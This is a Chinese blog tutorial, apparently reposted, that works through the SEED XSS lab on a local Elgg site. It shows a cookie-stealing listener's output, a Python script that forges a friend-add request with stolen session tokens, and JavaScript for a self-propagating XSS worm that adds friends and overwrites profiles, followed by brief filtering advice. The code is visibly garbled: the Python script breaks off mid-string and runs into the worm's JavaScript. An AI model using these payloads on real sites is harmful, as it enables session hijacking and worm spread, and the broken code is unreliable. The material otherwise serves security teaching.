栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

什么是XSS攻击?

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

什么是XSS攻击?

一定要看到结尾,你会看到一个XSS蠕虫魔术!大佬可以坐下来,听听我讲故事:

XSS攻击防范

什么是XSS攻击

XSS跨站脚本攻击:黑客想尽一切方法 将一段脚本内容放到目标网站的目标浏览器上解释执行!!
入门可以参考我的专栏:信息安全入门笔记中的前端黑客-XSS入门 !!
本次实验是进阶教程 以实验的方式一步步带你学习XSS攻击!!

XSS攻击环境配置

配置浏览器

浏览器安装HTTP Header Live 插件!

部署Elgg网站

在我们预置的虚拟机中已经提供了Elgg网站
在网站中已经预置好了用户 信息如下:

User   UserName Password
Admin   admin    seedelgg
Alice   alice    seedalice
Boby    boby     seedboby
Charlie charlie  seedcharlie
Samy    samy     seedsamy

配置DNS服务器

由于我们需要一台预置的Ubuntu虚拟机作为Elgg服务器
一台Ubuntu虚拟机作为攻击者
因此 需要在攻击者的机器上配置DNS 以便于攻击者能访问到Elgg服务器
仅仅需要在/etc/hosts文件中添加192.168.59.154 www.xsslabelgg.com

配置Apache服务器

在预置的Ubuntu虚拟机中 只需要启动Apache即可 sudo service apache2 start
在这里顺便提一提 如何在一台服务器上搭建多个网站?
在/etc/apache2/sites-available/default文件中指明域名对应的documentRoot路径即可


        ServerName www.CSRFLabCollabtive.com
        documentRoot /var/www/CSRF/Collabtive/



        ServerName www.CSRFLabAttacker.com
        documentRoot /var/www/CSRF/Attacker



        ServerName www.SQLLabCollabtive.com
        documentRoot /var/www/SQL/Collabtive/
XSS入门

XSS显示弹框

好!现在来打开你的浏览器 访问www.xsslabelgg.com 能够成功访问XSS Lab Site网站 说明配置OK!
如果没能成功访问 请按照上面配置再走一遍
首先 我们注册一个用户 比如说用户名:hackbiji 密码:hackbiji

Edit profile->Brief description->
显示弹框如下:

XSS显示cookie

在自己的页面弹出自己的cookie只需要修改alert的内容为document.cookie即可!
Edit profile->Brief description->
显示自己的cookie如下:

XSS进阶

XSS盗取Cooike

在XSS入门中 我们弹出了自己的cookie 但是只能自己看自己的cookie啊 攻击者如何看别人的cookie呢?

黑客:hackbiji Ubuntu虚拟机 ip:192.168.59.129
受害者:admin 预置的Ubuntu虚拟机 ip:192.168.59.154
黑客希望 admin向自己发送一个 GET请求 在请求中带上 admin的 cookie

hackbiji在Brief description中通过引入一张图片
我们需要诱导admin访问hackbiji的首页(里面有profile信息的页面都行)

hackbiji的操作如下:


之后hackbiji只需要监听10086端口 等待admin访问自己的首页

结果如下 鱼儿上钩了 我们成功拿到admin的cookie:

第1个是hackbiji自己的cookie 第2个是admin的cookie

hacker@ubuntu:~/Desktop/echoserver$ ./echoserv 10086  
GET /?c=Elgg%3D9suficofkh2pgo25csktof2nc5 HTTP/1.1  
GET /?c=Elgg%3Dhgb32s34ekr20kdq6ttje8dct0 HTTP/1.1  

鉴于篇幅有限 监听程序会在知乎Live中分析!!!
知乎Live中有 直播视频 ~

XSS会话劫持

我们想通常XSS实现会话劫持 劫持admin 添加hackbiji为好友!!!
通过HTTP Header Live插件 我们需要以下admin的一下信息:

如下再次通过监听程序我们获取cookie ts token!!!


通过python3构造HTTP GET请求:

import http.client
class XSS(object):
    def __init__(self):
        pass

    def httpGet(self,servAddr,url,xssheaders):
        try:
            conn = http.client.HTTPConnection(servAddr)
            conn.request('GET', url ,headers = xssheaders)
            print('conn:',conn)
            r1 = conn.getresponse()
            data = r1.read()
            print('data:',data)
            print(r1.status,r1.reason)
            conn.close()
        except IOError as e:
            print("except:", e)
        finally:
            print("XSS END")

if __name__ == '__main__':
    servAddr = "www.xsslabelgg.com"
    url = "/action/friends/add?friend=43"
    __elgg_ts = '&__elgg_ts='+'1528563725'
    __elgg_token = '&__elgg_token='+'f18fc16061bc06000a5ff62f4dcfccaa'
    url = url + __elgg_ts + __elgg_token
    xssheaders = {
        'Host': 'www.xsslabelgg.com',
        'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0',
        'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,**;q=0.8");
    victim.setRequestHeader("Accept-Language","en-US,en;q=0.5");
    victim.setRequestHeader("Accept-Encoding","gzip, deflate");
    victim.setRequestHeader("Referer","http://www.xsslabelgg.com/profile/"+user);
    victim.setRequestHeader("cookie",document.cookie);
    victim.setRequestHeader("Connection","keep-alive");
    victim.send();

    victim = null;
    victim = new XMLHttpRequest();
    victim.open("POST","http://www.xsslabelgg.com/action/profile/edit",true);
    victim.setRequestHeader("Host","www.xsslabelgg.com");
    victim.setRequestHeader("User-Agent","Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0");
    victim.setRequestHeader("Accept-Language","en-US,en;q=0.5");
    victim.setRequestHeader("Accept-Encoding","gzip, deflate");
    victim.setRequestHeader("cookie",document.cookie);
    victim.setRequestHeader("Connection","keep-alive");
    victim.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    var content="__elgg_token=".concat(elgg.security.token.__elgg_token);
    content = content.concat("&__elgg_ts=").concat(elgg.security.token.__elgg_ts);
    content = content.concat("&name=").concat(user);
    content = content.concat("&&briefdescription=");
    content = content.concat("&guid=").concat(elgg.session.user.guid);

    victim.setRequestHeader("Content-Length",content.length);
    victim.send(content);
}

来看看!!是不是谁访问hackbiji的首页 谁就会被感染成为hackbiji的好友!!!

再看看admin 的 Brief description 是不是也变成和 hackbiji 一样的了~~~

XSS防御方案

通过以上实验 我们得出防御XSS攻击的有效方式是对输入进行过滤!!!
有效方式有如下:

部署WAF Web 应用层防火墙
过滤所有HTTML JS CSS标签
过滤异常字符编码

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/676374.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号